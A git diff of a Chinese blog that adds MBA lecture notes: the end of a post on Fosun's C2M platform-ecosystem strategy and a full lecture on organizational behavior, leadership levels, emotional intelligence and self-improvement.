+首先，要“上天”，在周期中寻找机会，搭建平台。 + +![](/uploads/2019/06/03-41.png) + +其次，要“入地”，复兴的扫描与剖析，寻求路径。分析投资复星的有利条件和不利条件。得出结论，复兴的投资能力、产业能力、管理模式均很强。但是，缺少强大的C端客户及金融支付平台。所以，复星决定最大化发挥优势，打造C2M系统，形成客户和制造端良好互动机制。 + +第三，复星C2M平台生态系统战略的目标。复星C2M平台生态系统战略的目标是打造以创新科技驱动、以家庭客户为中心的智能制造和智能服务开放生态，通过好的产品获取客流，精准读客，升级产品，整合场景。由此可见，复星通过打造C2M生态圈进行赋能，通过优质产品吸引C端用户，然后根据需求开发产品，创造C2M幸福生态系统。 + +![](/uploads/2019/06/03-42.png) + +复星战略考虑共有三个原因： + ++ C2M为什么是复星干？筹码+优势，为什么不是BAT？ + +原因在于复星的比较优势侧重M端，并通过M端投资触达C端进行协同，而阿里和腾讯M端较弱，C端较强。 + ++ 为什么这个时间点提出C2M，而不是5年前？ + +随着互联网普及和发展，B端已经被认可和接受。 + ++ 为什么复星觉得有把握做到10亿家庭？ + +中国有十亿中产阶级家庭，需要一站式服务，需要品质与品位。复星可以通过金融+保险+医疗大健康+文旅+消费品牌，串联C端，用户共享，扩大用户价值。 + +第四，复星集团平台生态系统独特的发展路径，是基于复星的产业基础，由初期的获客，发展至客户价值提升，最终达到C/M 交互赋能，形成生态圈价值。 + +复星操作思路的内在逻辑包括三点。第一，刚需。产品是否创造社会价值。第二，竞争力。行业大环境：哪里都是红海、信息太对称——坚持长雪道+产品力（尖叫的产品：Clubmed（地中海俱乐部）、 Cirque Du Soleil（太阳马戏团）。第三，团队。企业家精神：学习能力+胸怀+眼界。 + +随着经济发展，市场变幻，复星不断改变业务模式，动态事业合伙人从18人增加到21人。组织上，提出敏捷性组织。由此可见，经济环境变了，战略、组织、人力资源、激励机制、分配考核也要相应改变。 + +所以，要想在当今时代不断进步，必须要具备学习能力，胸怀及眼界。性格决定命运，细节决定成败，思路决定出路，境界决定一切，眼界决定境界。 + +2.2.2 如何企业平台化 + +传统企业与平台生态共有四大区别：从企业点、线链接的领导到企业网络链接的领导；从依据人流、物流、资金流的单项挖潜增效型领导向依据信息流为主的、提供整体解决方案的领导；从专注市场的排他性竞争到专注全面领导市场的参与各方协同、合作；从着眼于加强内部管理、提升外部竞争能力的领导向着眼于内、外部资源整合，打造共赢生态圈的领导。 + +实现企业平台化需要做六大转变： + ++ 从自主的封闭式创新，走向群体创造的开放式创新。 ++ 从基于价值链的竞争模式到基于价值网络的合作共赢模式。 ++ 从依赖广告代理商大规模投放，到以“场景”为核心，透过消费者和社群本身去传播。 ++ 数据从一种企业管理的辅助工具，变成直接推动企业跨越式发展的核心驱动力。 ++ 从科层制到网络制度；从边界清晰到边界模糊。 ++ 从单纯考虑财务指标，到考察数据化、物种多样、生态循环。 + +例如，陆金所通过实现安全高效交易获得更多用户，继而获得更多借贷需求，吸引更多投资者，接着获得更多资金和产品，提高风控水平，最终实现更快获得资金正向反馈的价值创造。 + +![](/uploads/2019/06/03-43.png) + +浩优服务家致力于打造正循环，从提高工程师服务效率到降低价格，需求增加，最终吸引更多工程师、提供更多产品服务，拓展业务领域。 + +2.2.3 如何进入平台 + +作为企业，靠创新网络链接进入，靠彼此赋能高效协同进入。这中间，通过现代科技基础上的跨界链接，链接云、管、端。作为企业，靠提供良好体验的过硬产品链接；靠契合客户需求的场景推广的链接；靠巧妙创造网络效应的链接。例如，微信红包可以有效提高获客能力，通过绑定银行卡提高企业现金流，创造网络效应的链接。 + +基因检测公司通过保险公司和体检公司合作，获得数据，利用基因检测赋能数据。另外，增加体育板块、食品板块，对数据进行从新解读。最终，将基因检测与健康相结合，为用户提供更好服务，增加用户数量，提高公司市值，吸引更多体检公司加入。 + +综上，美好愿景启动平台，彼此赋能形成生态，靠新物种繁荣生态，靠新机制共赢发展好。 \ No newline at end of file diff --git a/_posts/2019-06-03-383-mba1204.md b/_posts/2019-06-03-383-mba1204.md new file mode 100644 index 0000000..38cc11d --- /dev/null +++ b/_posts/2019-06-03-383-mba1204.md @@ -0,0 +1,292 @@ +--- +layout: post +title: 【组织行为学模块】 第4节 卓越领导：融会贯通，超越自我 +pid: 383 +tags: [mba] +--- + +同学们好，下面我们进行第四个专题的讨论。在第四个专题中，我希望把前面三个专题关于个体、群体、组织行为能够融会贯通。通，我们要通到什么程度？我想中国文化讲到天时地利人和，我希望我们能够顺天时，得地利，赢人和。 + +![](/uploads/2019/06/03-44.png) + +一、融会贯通，聚焦打通任督二脉 + +1、组织行为学钟的“管理”与“领导” + +首先我们来看一看，在组织行为学中间，任督二脉是哪二脉，这里面我想有几个基本观点给大家讲一讲。德鲁克有一句名言：管理者是把事情做正确，领导者是做正确的事情。在做人和做事上面，请同学们切记，先做人再做事。我们都是凡人，都可能做错事情，没有关系，可以再来，人做坏不可能东山再起。另外，要首先着眼于做正确的事情，这是两个非常重要的观点。 + +![](/uploads/2019/06/03-45.png) + +关于管理者和领导者的比较，比方说一个是更关注现在短期发展，一个是寻求持续避免冒险。其实大家可以看到，我包老师强调适应性变革，强调要从实际出发。那么怎么能够做到事情做正确呢？管理和领导两者是不可偏废的，要有远见，基本功要很扎实。 + +2、组织行为学中的“三个层次”与领导力中的“五个层级” + +组织行为学模块我们讲了三个层次，分别是个体层次、群体层次和组织层次。领导学包括五个层级：第一级领导、第二级领导、第三级领导、第四级领导和第五级领导。你们会惊讶地发现，三个层次和五级领导居然是对应的。 + +![](/uploads/2019/06/03-46.png) + +第一级领导是能力强的个人，我们个体行为中间不就是在研究这个问题吗？第二级是做出有贡献的团队成员、有能力的经理人、有效的领导者，这就同我们讲到的群体行为、团体行为、团队绩效是非常接近的。 + +这里面非常重要的一点大家要注意，就是品德的重要性。我们讲到追随力，追随者追随你是追求道德层面、品德层面。同样如果你是个卓越的领导者，你加上这两个品德（谦虚和执着），你就是第五级领导者。美国著名管理学家柯林斯提出的，他被也是《从优秀到卓越》这本书的作者。乔布斯有个座右铭就是大智若愚，以非常饥渴的状态学习、虚怀若谷。同样我讲到要坚持，请注意伟大是熬出来的，特别是要有这样的韧劲，咬定青山不放松。郑板桥有首很有名的诗，他就讲竹子，立根原在破岩中，咬定青山不放松。千磨万击还坚劲，任尔东西南北风。阳光总在风雨后，黎明前的黑暗是最暗的，快要顶破青石板的时候是最辛苦的，这个时候需要有这种精神。 + +3、组织行为学中的“任督二脉” + +中国传统文化中医学中，强调通，通则不痛，不通则痛。在武侠小说中你们可以看到，打通任督二脉之后，真气源源不断，修炼起来就会事半功倍。 + +那么组织行为的任督二脉是什么？如何提升呢？我做这样归纳的：（1）任脉就要我们行为的逻辑，就是做这件事是按照什么样的逻辑。（2）组织行为的督脉就是我的心智技能，就是非常非常强大的内心。 + +二、打通任脉：自强不息，提升卓越的行为逻辑 + +1、判断你的行为的逻辑类型与提升步骤 + +首先我们先来打通任脉，就是自强不息，提升卓越的行为逻辑。我想这里面有三个问题非常重要的，第一就是行为逻辑有哪些类型。我这里给大家一个就是目前来讲全世界公认的最权威的行为逻辑类型，包括：机会主义者，外交家，专家、实干家，个人主义者，战略家，炼金术士七种类型。比如，机会主义者完全以自我为中心的，实干家完成战略性目标，推动团队协作，他非常适合管理工作，但缺点就是抑制创新思维。 + +当然这是一个国外非常经典的研究，那么这七种行为逻辑我们更倾向于哪一个层面上面？比如从专家到实干家，专家特点就是专业知识非常强，实干家聚焦最后的结果。从专家到实干家的提升，要认识到你自己观点会与他人不同，你要练习新的对话策略，参加培训（如何有效授权，领导高效团队等相关的培训）。在座的同学情况不完全相同，你们是什么情况，可以根据自己的情况考虑。从实干家到战略家乃至更高的层次的提升，你就要想办法聚焦在怎么积极推进个人的发展。首先与社交圈里面的一些人是建立相互的指导关系，寻求贵人相助，请他们在意你的想法和做法，对你所在的公司和行业提出挑战。当年我在企业工作的时候，我们每一两个月会请一些有志之士到黄金海岸酒店喝茶吃饭，请他们来提出观点，对我们的想法提出质疑，这就是从实干家到战略家或者以上的层次的提升。 + +2、从学会认知和优化性格起步 + +关于行为方面怎么改变，一个是学会认知，另外一个就是优化性格，学会认知其实某种程度就是要会学习。我平时观察为什么你发展这么快，为什么他非常努力，发展速度不如你？我发现最最重要的一点在于会学习。 + +（1）学会学习 + +比如1995年我曾经参加过一个咨询课题，到一家企业去，这个企业才五千多万利润，净资产也就是两亿多，当时有一帮非常厉害的人帮他做咨询。后来这位企业家跟我说，包老师我听明白了，这些专家每人讲了一箩筐的话，其实他们最重要讲了三个观点，第一叫我产权要清晰；第二要尽快上市，打通资本通道；第三要叫多元化。 + +还有一次，我同浙江一个非常有名的企业家交流。我问他，某某老总，现在我们企业家都对政企关系很头疼，这些关系究竟怎么处理？他说，包老师我的体会是，企业家一定要懂政治，不介入政治。精彩吧！大道至简！所以我想讲到，我们一定要有一种非常强的学习能力。联合国教科文组织提出，21世纪教育有四大支柱：学会认知、学会做事、学会生存、学会共处。这里我给同学们提供一个工具，关于如何从自我反省起步提升学习力。 + +（2）优化性格 + +第一，优化性格是一个过程。 + +打通任脉，提升行为逻辑还要优化性格。有同学跟我讲，优化性格太难了。确实是难，江山易改，本性难移，而且性格决定命运。比如雨果有本小说《悲惨世界》，里面有个主人公叫冉阿让，冉阿让曾经是个逃犯。里面有个萨维警长在追踪她，但真的追到她之后，发现了她的真面目，萨维就跳河自杀了。他发现自己原来的信仰受到了冲击，原来冉阿让是这样一个人！ + +前一段时间，有部电视剧叫人民的名义，里面有一个主人公祁同伟，他有很多武器，他没必要自杀，完全可以撞个鱼死网破，但你看，他最后选择自杀，大叫一声谁也审判不了我。这种性格只有走这条路，性格决定命运。 + +而且我们每个人也知道自己性格的弱点，也多少知道自己性格的优点，我们怎么来优化我们的性格？我这里想讲到的，优化性格有四个观点：首先，性格是可以优化的，但是性格优化是个过程；第二，这中间是哲学思考、文艺修养非常重要，要有美的心理，所以有时候看到某人照片拍的非常好，我会跟他讲，这是因为你的眼光好，眼光好是因为你的心灵好，没有美好的心灵，不可能有美好的目光，没有美好的目光，拍不出美的照片，文艺修养能够起到催化作用，要提升文艺修养就要要多读书。 + +管理学家苏珊这段话很精辟的，我给大家分享一下。 + +播种一个理想，收获一个计划； + +播种一个计划，收获一个行动； + +播种一个行动，收获一个习惯； + +播种一个习惯，收获一个思想； + +播种一个思想，收获一个品格； + +播种一个品格，收获一个快乐； + +播种一个快乐，收获一个幸福； + +播种一个幸福，收获一个命运； + +播种一个命运，收获一个成功； + +播种一个成功，收获一个人生。 + +我们都希望自己的人生很精彩，都希望不仅活着而且是生活，都希望某一天告别这个世界的时候，也可以这样讲，我到地球来走一遭也算是不虚此行，所以我强调性格的重要性。 + +第二，哲学思考是重要基石。 + +我这里用了黑格尔的观点：凡是现实的，都是合理的；凡是合理的，都是现实的。同学们，我刚开始读到这句话是在《路德维希·费尔巴哈和德国古典哲学的终结》这篇文章中。我当时不理解这句话，我现在慢慢体会到，如果你具备这样的素质，即使你今天暂时没有得到，明天后天你一定会得到的，有些人不具备这样的素质，即使今天得到了，明天后天也一定要失去的，就这么简单。这样你就可以理解，为什么这么多神马变成浮云了，明星变成流星了，因为他德不配位。所以大家注意，没到这个份上，得到了还会失去的，你到了这个份上，早晚会露出锋芒，最后终有可能得到，这是我强调的基本功和素质。所以，同学们一定要极其用心、极其认真地做好每一件事情。我们每个人的能力都非常有限，要将你的能力要发挥到极致，不到最后一秒绝不放弃，追求完美！ + +在禅学中间，有一首开悟的诗。这样写道：春有百花秋有月，夏有凉风冬有雪，若无闲事挂心头，便是人间好时节。都是好时节，就看你心中有什么事情。我有个非常好的朋友，是上海非常厉害的某专科的权威。大家知道这些人有时候也有臭脾气，持才自傲，人际关系不好。后来他去学了哲学以后，人变了，认知颠覆了。比方说他原来看到这个人，觉得这个人怎么这么可恶。现在变了，他觉得这个人怎么这么可怜。不一样了吧，人生完全不一样了。认知不一样了，行为就改变了，人生就不一样了。 + +第三，文艺修养起催化剂作用。 + +第一代企业家，在改革开放的时候率先下海的这一代人，需要的是勇气；第二代企业家是受过良好教育的人，需要的是知识理性。现在来讲，需要很高的艺术修养、审美品质。 + +比如我们讲到听歌剧、音乐，这不是腐儒风雅，这个时候需要净化，需要深化我们的情感，陶冶我们的情操，这个非常有作用的。 + +比如从我来讲，我比较早就开始做干部了。但同学们注意，因为资源是有限的，你一冒尖，马上就会有人嫉妒，而且我深深体会到嫉妒是非生理性的癌细胞，很可怕的，而且嫉妒是从身边最近的人开始。我当时也碰到这个情况，我怎么坚持，我就想到有首唐诗：两岸猿声啼不住，青舟已过万重山，这就是一种信心动力。 + +当然看到人家进步，我也会嫉妒，这个时候我给自己有一首座右铭，叫见贤思齐。为什么领导提拔他，因为他在这方面确实比我好，我应该学习，这一下心胸打开了，不一样了。当然有很多动力，有精神动力、物质动力，还有信心动力。有一段话：使人努力上进的，并不是人生的如意之处，但是凄凉的逆境和斗争最能磨炼一个人的意志，柔弱者只会在失意的路径上慢慢的走，可是勇敢者应该在君临中高升。这是我在谈自己50年这么走过来，对我帮助非常大的。 + +第四，多读好书是阳光雨露。 + +还有就是要读书，要读好书。英国哲学家培根有句话，他说读书最冶情，最富才，最为长才，陶冶情操，增长你的才干，增长你的文采。诗歌使人灵秀，数学使人周密，伦理学使人庄重，逻辑修辞学使人善变。每门学科都有道理，最后他总结，凡有所学皆成性格。书读的多了，融会贯通了，性格就养成了。 + +我给大家推荐，民国初年王国维的《人间词话》。这里面有三句话，读书、做学问、做人都有三个境界。 + +第一个境界：昨夜西风凋碧树，独上高楼望尽天涯路。 + +第二个境界：衣带渐宽终不悔，为伊消得人憔悴。 + +第三个境界：众里寻他千百度，蓦然回首，那人却在灯火阑珊处。 + +三、提升督脉：厚德载物，提升卓越心智技能 + +1、备受推荐的“巅峰绩效模型”与修炼思路 + +接下来我们讲督脉，督脉就是要提升卓越的心智技能。这里面我们给大家介绍一个模型，这也是现在非常流行的西点军校的“巅峰绩效模型”。 + +![](/uploads/2019/06/03-47.png) + +这个模型强调了五个方面： + +（1）目标的设定：我要去哪里，我要成为什么样的人。 + +哈佛大学在上世纪60年代到80年代之间，做过两个非常重要的实验。第一个实验是说一批哈佛学生毕业了，对他们进行了测试，发现27%的人是没有目标的，60%的人目标不是特别清晰， 10%的人短期目标非常清晰，长期目标不是很清晰，只有3%的人短期目标非常清晰，长期目标也非常清晰。过了20年以后，对这批人再做追踪，结果后来非常惊讶地发现，有长远目标的这些人都非常非常优秀。所以我在复旦讲课的时候，我会要求MBA学生做十年规划，当然这中间会有很多变化，你可以做滚动改变，有十年规划和没有十年规划完全不一样。 + +哈佛在1980年做过另一个实验。有1500个学生，他们到哈佛来学习，研究者问了他们一个问题：你来哈佛的目的是什么？封闭式的问题，只有两个答案，一个是为了赚钱，一个是为了理想。结果是1275个学生回答目标是为了赚钱，还有275个学生回答目标是为了理想。过了20年以后，101个人财富有极大地增长，这个时候居然非常惊讶地发现，这101个人中间 ，100个当年是为了理想的。我们发现，为赚钱而来的人不一定能赚到钱。各位同学，我当然希望你们有很多钱，社会影响力很大，但是我想告诉大家，名和利是顺便带来的，是你做人做到这个份了，做事做到这个份了，这个东西就来了，你刻意追求是没有的。 + +（2）适应性思维：我们会成为自己最想成为的人 + +讲到巅峰绩效模型的修炼思路，就是强调要培养适应性思维。我们要想成为自己最想成为的人，大家要咬定青山不放松，关键在于重复重复再重复。同学们你们发现没有，有些人本事很大，追求的机会他能够抓的住，有些人机会来了以后，他还抓不住。有很多原因，其中有一点，如果你经常在想这件事情，我要做什么，一旦这个机会出现了，你就容易抓的住。如果你从来都没有想过，等你想通了，这个机会稍纵即逝了。 + +适应性思维中还有一点非常重要，就是你想成为什么样的人。讲到程度，一种是自负，骄傲自满，一种是自卑。讲到要有自信，像李白诗里面讲的，天生我材必有用，我要有这个自信，当然我这个自信要有一定的实力做基础。当然，培养自信心是个过程，当你取得一定成就以后，自信心就会不断提升。所以我们要脚踏实地，要不断取得成果，来增强和发展自信。 + +（3）压力和能量管理：在压力下奋斗 + +我们在做管理的中，要给我们的部下适当的压力。天助自助者，只有你自己帮助自己，老天才会帮助你。哈佛大学有个精神，不到最后一秒不放弃追求完美，就要按照这个精神去做。 + +阳光总在风雨后，不见风雨哪见彩虹。要做出成就来，不努力怎么能有成就，不克服重大困难不可能有成就。如果你现在在吃苦，我恭喜你你有吃苦的机会，但请记住要能够熬的过去。在熬的中间，你的方法要对，还要有合适的人在一起。 + +（4）注意力控制：在干扰中集中注意力 + +注意力控制也就是聚焦。年轻人有时候容易注意力转移，今天感到这个很好，去干这个，明年感到那个很好，又去干那个。我在学校里面经常给他们讲，逐鹿者不赶兔，什么意思？你的目标，是要抓住这个鹿，你在抓鹿的过程中，旁边不断有小兔子出来，你会非常容易去抓这个兔子，一抓就是一个，问题是你抓了兔子以后，这个鹿就抓不到了。 + +今天这个社会对我们有太大的压力，又有太多的诱惑，你们认同吗？所以在这种情况下，我们要聚焦，防止干扰。 + +（5）想象力：想到决定做到 + +想象力有助于我们建立更多的信心。为什么有些创业者非常有激情，他真的就想到，一旦我做的东西成功，可能会是这样的局面。要有这种的想象力，通过想象激发我们内在的能量。人的很多能量是非常难以想象的。我原来想到，我会在复旦大学当教授吗？我也没有这样想到。原来我想我能够读硕士就可以了，后来感到读博士也有可能，后来感到博士后也有可能，是这样一步一步来的。但注意一定要坚持不懈的努力，只要你努力，只要你方向对头，机会就会越来越多。同学们，这个世界你讲公平非常公平，一天24小时谁也不多谁也不少。讲不公平，这个世界极端不公平。我们要看清楚这个世界的本质。很多地方比一般人高那么一点点，机会就会多很多。我们都希望有机会，机会在哪里，我感到机会就在于你自己的品牌。 + +我经常和企业家、年轻的朋友在交流。你要树立什么品牌呢？比如领导或者你的合作对象给你打个电话，你要让他们觉得，没有你这件事情就办不成。你要在周围重要的客户中间、领导心目中树立这样的形象。这样一来的话，今后重要的事情，大家第一时间想到要给你打电话，你接到电话我就放心了。所以为什么有些人这么忙，他有这个品牌，有些好偷懒就偷懒，混就混。对不起，混你不是混人家，是混自己，跟自己过不去。所以我们想强调，做事情是极端认真，通过工作把自己的品牌做出来！ + +2、从情商提升和心灵管理起步 + +（1）情商提升：情商比智商更重要 + +讲到打通任督二脉，我强调你要能够有一个强大的内心。我认为真理是简单的，真理也是朴素的，大道至简就像西点军校的一句话，就是要培养强大的内心。那么如何培养强大的内心就要从情商提升和心灵管理起步。 + +研究表明：成才=智商20%+情商80%。美国曾经进行过一次研究，一批学生毕业了，20年、30年以后，再做调查发现，这批学生中，最有成果的 往往是当时读书排在第9名到第11名的学生，这说明智商还是重要的，但是最重要的是情商。一个人获得成功的因素有85%决定于人际关系，知识技术和经验等因素仅占15%。 + +我们在现实生活中，经常可以看到这样的现象：智商高，情商高，春风得意；智商低，情商高，贵人相助；智商高，情商低往往是怀才不遇；智商低，情商低，一定是一生潦倒。 + +所以接下来我们要一起来探讨如何提升情商。首先关于情商有个定义，这是哈佛教授格尔曼提出来的，情商体现在自我认知、自我调控、内驱力、同理心、社交技能。 + +在中国新语境中，情商如何体现？我这里归纳为这样几个方面。 + +第一，与善者居，与高手过招。中国古话讲，与善者居，如入芝兰之室，久而不闻其香。时间长了以后，你耳闻目染，潜移默化，就受到影响了。与不善人居，如入鲍鱼之肆，久而不闻其臭。同不好的人在一起，就好比进了腌咸鱼的铺子里，臭味难闻的，时间长了以后你闻不到味道了。 + +其实计算你的财富很简单，你的财富与你最相像的五个人有关系。把他们的财富加起来除以五，基本就是你的财富水平。行为是有认知，行为代表结果，跟谁在一起非常重要。这个世界，绝对是物以类聚，人以群分，所以我们一定要想办法走进正能量的队伍。现在有些人牢骚、埋怨，这可以理解，但是我不加入，而且我感到这是没出息的。提问题不是本事，解决问题才是本事。判别一个人的价值，不是看他从这个社会获得了什么，而看他为这个社会贡献了什么。当然还有一点非常重要，就是通过反省来提升悟性。乔布斯有个习惯，每天早上四点钟起来，一个人冥想。拉丁美洲有这样一句谚语，人走的太快了，要停一停让灵魂跟上来。现在确实这个社会发展速度太快，我们怎么能够不断地三醒吾身来提升我们的悟性。 + +还有一点非常重要，就是知行合一。现在讲王阳明学说很多，其实王阳明学说最最核心的观点，就是知行合一。在很多情况下，我们并非无知，只是知而未行。而如何做到知行合一，我们可以从感恩起步。如何三省吾身？我给大家介绍一个方法：用“正念”方法三省吾身。现在有一个非常重要的学说叫正念领导力。有这样几步：发现意义、调整视角、建立关系、积极参与、管理能力。 + +![](/uploads/2019/06/03-48.png) + +这里面给大家简单讲几点。比方说，发现意义就是如何更好地发现和利用你自身的优势。有时候你要换一个角度看问题，我们讲了，就像哈哈镜，有些反应过胖，有些过高，社会有时候像哈哈镜一样折射的，我们能不能很客观地来看待问题。比方说当你经历困境，你如何通过选择来改变你的思维模式。有些困境是你自己行为不当造成的，你要调整视角。 + +年轻人有时经常会跟我交流说，我现在碰到事业发展的天花板了。实际上，这不是事业发展的天花板，是你能力的天花板。你能力做到这一步，所以你突破不了了。你有什么能力就做到哪一个层次，这就是视角不一样。 + +有时候请某人来参加聚会，他说太忙、没有时间。没错，他确实是忙，但是你要想清楚，是你要请他做这件事情。对他来讲，这件事情不是最重要的。如果你认为这件事情对你来说是最重要的，你一定会想办法去，不要说天上下雨下雪，哪怕天上下刀子都要赶过去。同学们，我们这里都在讲思想方法，你调整视角之后，就会想明白了。 + +此外，情商提升从感恩起步。我感觉到贵人相助非常重要。很多人为什么愿意帮助你，为什么愿意指导？首先是孺子可教也，第二你是值得教的。我今天讲这个感恩之心我是有很强的针对性，因为这个社会有时候太功利，今天这个社会太现实。在这样的情况下，我们怎么能够心胸开阔，我强调能够要有感恩之心，要把感恩融入血液，让感恩成为你的生活习惯。我们都要感恩，要感恩我们的父母给你生命，生命如此美好，你要感恩到时代给你这样的舞台和机会，感谢领导给你事业的发展机会。甚至你碰到小人，碰到那些坏人，你要感恩他，是他让你走出舒适区。我们人要成功，要有高人指路，要有贵人相助，其实有时候也需要小人监督。 + +唐宋八大家柳宗元写过一篇非常有名的文章叫《敌戒》，敌存灭祸，敌去召过。有对立面的存在，你就不会出事情，没有对立面你就昏昏然，飘飘然。比方说我碰到过好多人，我跟他们交流总结他们如何成功，他们跟我讲，其实真的要非常感谢当初反对自己的那些人，因为他们让自己了解这个社会的复杂，因为他们的话，走出了舒适圈，今天完全不一样。 + +人生道路很漫长，关键只有几步。我在复旦大学读博士期间，我非常感恩我的博士导师，也是我们管理学院的第一任院长。我的导师原来做过国家教务的科技司司长，他是中国管理科学泰斗。他到了很多地方，非常遗憾没有去过非洲。我跟他讲，没问题，非洲我有公司，我当时已经去了十次非洲了，我陪你去一次。问题是大家一忙，回去以后，我忙我的，他忙他的，这件事情就放下了。2008年我听他的话，回到复旦大学，2009年1月份我老师就因病去世了，这个时候我牢记对我老师的承诺，我要陪他去非洲。我从师母那里，把我老师平生最喜欢的照片拿过来，带着照片去非洲。我拿着照片跟老师讲，老师我们现在到了什么地方，这是在突尼斯。同学们，这个时候是求什么，他在天上，求你一个心灵的安宁，当年他培养了你，你今天才做出了成绩。 + +前段时间我组织活动，恩师去世十周年，我又组织了活动。摩洛哥有个城市叫菲斯，菲斯大学是全世界最古老的大学。我要陪我老师到世界上最古老的学校看一看。我敲门，这个学校搞活动，他说我们今天不开。我说我今天陪我老师来的，我老师是中国管理科学泰斗，他一辈子献身教育，他非常想看看非洲，他非常想了解非洲最古老的教育。我说我老师的遗言是把他的遗体捐献给医学教学解剖，他们听了以后也很感动，大门打开，两边教师列队，我捧老师遗像来瞻仰这个世界上最古老的学校。我深深地体会到，当你怀着感恩之心在世界上做事情的时候，场景完全改变了，到处都是支持你，鼓励你，帮助你。 + +在这个社会上，我们是需要方方面面支持和帮助自己的人。但是人家要感觉到，你是值得支持、值得帮助，人家才会来支持帮助你。所以我想讲到，我们要让感恩融入你的血液，要让感恩成为我们的生活习惯。你们这样做下去，三到五年以后，你们就会体会到不一样。 + +（2）心灵管理 + +在情商提升中，要注重心灵管理。稻盛和夫讲：人生在世，需要三个方面的管理，健康管理、才智管理和心灵管理。刚才我们强调的心智技能跟这个都是相似的，在这三者中，心灵管理是最为重要的。 + +这里最核心的思想是，工作是磨炼灵魂的道场，所以各位同学能不能通过听了今天这个课以后，从现在开始，你自己每一件事情，尽你的力量做到最好。我们每个人的能力都非常有限，没有关系，但要想办法不断突破极限。但你不要功利，你坚持很用心，很认真的，效果一定非常明显。 + +稻盛和夫提出人生和企业的方程式是：人生·工作的结果=思维方式*热情*能力。我们讲的很多了，如成长性思维模式、数字时代的认知框架乘以热情，乘以能力。同学们一定要有热情，要拥抱生命，拥抱生活，拥抱这个时代。如果把生命比做一块矿石，只有激情之火才能使你的生命燃烧，一个人的生命不能燃烧就只能冒烟。 + +当然这中间非常重要的是，要有人培训，很多时候内行看门道，外行看热闹，什么水平，是骡子是马拉出来一溜就清楚了。做人不同时期追求是不一样的，到后期真的，名利都不那么重要了。受人尊重这个非常重要，受人尊重跟金钱、地位无关，跟你的品格、能力关系非常紧密。还有一点，要以善恶、不要以得失来做判断。贝佐斯曾经有过一个非常有名的演讲，就是2010年在普林斯顿大学的演讲，这个演讲是被称为人类有史以来100个最有影响的演讲之一。他在这个演讲中说了三句话非常重要的话：第一句话是选择比努力更重要；第二句话是善良比聪明更重要；第三句话是倾听你内心的声音。这个世界有多的规律，最厉害的规律是因。你不要去追求结果什么样，种什么因，最后就是什么果。 + +此外，我们讲这里非常重要的是要抛弃负面的思维模式，消极否定的思维模式。有些人做事情不认真，敷衍，或是喜欢撒谎，如果你今天说了一句谎话，明天想办法要用五句谎话来把这句谎话圆掉，后天又用25句谎话再把明天的5句谎话圆掉，最后一定会漏出破绽的。如果一旦发现你这个人说话有水分，今后对你的看法就打折扣了。我们做人做事在社会上是需要品牌的，我们特别强调能够反省，好多地方不要怪别人，先怪自己，你自己有什么不对的地方，或者不正确的地方。 + +四、超越自我，修炼成卓越领导者 + +1、基于“五行”修炼的自我超越 + +超越自我，修炼成卓越领导者。如何超越？首先，需要循序渐进。要从杰出个人到优秀管理者再到卓越领导者转变。其次，可以通过五种行为修炼自我超越。我提出了卓越领导者有五种行为：做正确的事情（前瞻行为）、在正确的时间（共识行为）等等。这其中有一个原动力，就是价值观。我强调要自强不息、厚德载物，内圣外王。 + +![](/uploads/2019/06/03-49.png) + +（1）前瞻行为修炼模型 + +前瞻行为的修炼模型的出发点是不确定性环境，基础是以未来定义未来，以未来定义现在。我们往往是以今天定义未来。动能是价值观引领、自我颠覆、思维方法创新。前瞻力的途径可以通过认清大趋势、做好大判断、选择突破口、最后聚焦于客户体验。 + +（2）共识行为的修炼模型 + +共识行为的修炼模型，首先今天企业转型升级是企业创新发展非常重要的保证。共识行为的基础是高效沟通，动能在于认知相通、文化相容、利益于通、网络效应。聚焦在于共识，我们讲了共识是所有人都能发生，所有声音都听的到，最后站到最好意见的那一边。中国讲和谐，最高境界是和而不同。就是要有不同的声音，最后站到最好的这边。所有人都是一致通过，不一定是好事情。 + +（3）平台行为修炼模型 + +关于平台行为，我们讲到了上天、入地、定位、突破。大家可以看到平台行为的基础是创造连接、正反馈。作用机制包括领导人格、共赢思维、快速迭代。大思路包括上天、入地、定位、突破。路径包括平台启动、平台互利，平台创新，平台竞争。聚焦在于生态圈。 + +（4）创新行为修炼模型 + +创新行为的出发点是价值创造和价值提升，包括社会价值、客户价值、企业价值。我们讲了好多颠覆性创新，其实我认为应该是连续性创新和颠覆性创新并进。所有这些都是围绕提高客户忠诚度。 + +（5）保障行为修炼模型 + +保障力具体不展开了，大家可以自己课后花时间学习。 + +那么，这五种行为的修炼模型可以集中到一个图来体现。我特别强调原动力，我特别强调企业的发展是有边界的，这个边界就是认知的边界，而认知也是有边界的，认知的边界就是价值观的引领，我们要通过价值观的突破实现自我超越。 + +![](/uploads/2019/06/03-50.png) + +2、自我超越从价值观提升入手 + +德鲁克提出企业家是需要学习理论的，需要穷根究底的，企业家永远需要建立自己的坐标系，这就是价值观，信念和承诺必须永远要有这样清晰的头脑，不断反省自己，检讨自己，才能够接近文明人追求的真理的境界。不仅是管理学，任何学问都如此，到了最后你才能探索到一个东西，这个东西是属于我们人类的，我们人类必须服从、必须尊敬。 + +基于价值观提升的核心要素包括四个核心要素：使命驱动、责任担当、战略执行、持续奋斗。这里我特别强调担当，各位同学我们一定要敢担当。现在有些年轻人太聪明了，把自己保护的太好了，有利可得就冲上去。所以我们要有担当，对社会有担当，对家庭有担当，对企业有担当，对伙伴要有担当。 + +领导在的时候，有些人很努力。领导不在的时候，就很偷懒。我跟他们讲，没有必要，领导心里是非常清楚的，领导晚上睡觉都是睁着眼的，领导心里是清楚的。领导出国的话是没有时差的，领导不在的时候也是清楚的。领导给有些人非常重要的任务，他不敢承担责任，他把任务踢给你，让领导决策。 + +我当年要到海外去开拓，我当时要买房子，要基地，这个时候我派了一些非常厉害的人出去买房子。2003年圣彼得堡房价非常便宜，俄罗斯有个休克疗法，他们股权非常分散，问题很多。这批人去买房子的时候，首先他们查好资料，告诉领导这个房子很好，我们可以买。但是，有这些问题，有那些问题。等你搞清楚这些问题了，机会过去了。 + +我当时派了几个团队出去，花了50万美金的成本，房子还是没买下来。后来我自己上前线了，我就跟领导讲，我说买房子是早占晚占、多占少占。我说只需要两个条件：产权基本清晰，如果没有大的官司纠纷就买了。当时再去买，房价就涨了很多了。到2006年的时候，我们的干部队伍就出现了很多空缺。如美国公司董事长、澳大利亚公司董事长、欧洲公司董事长都到年龄退休了。 + 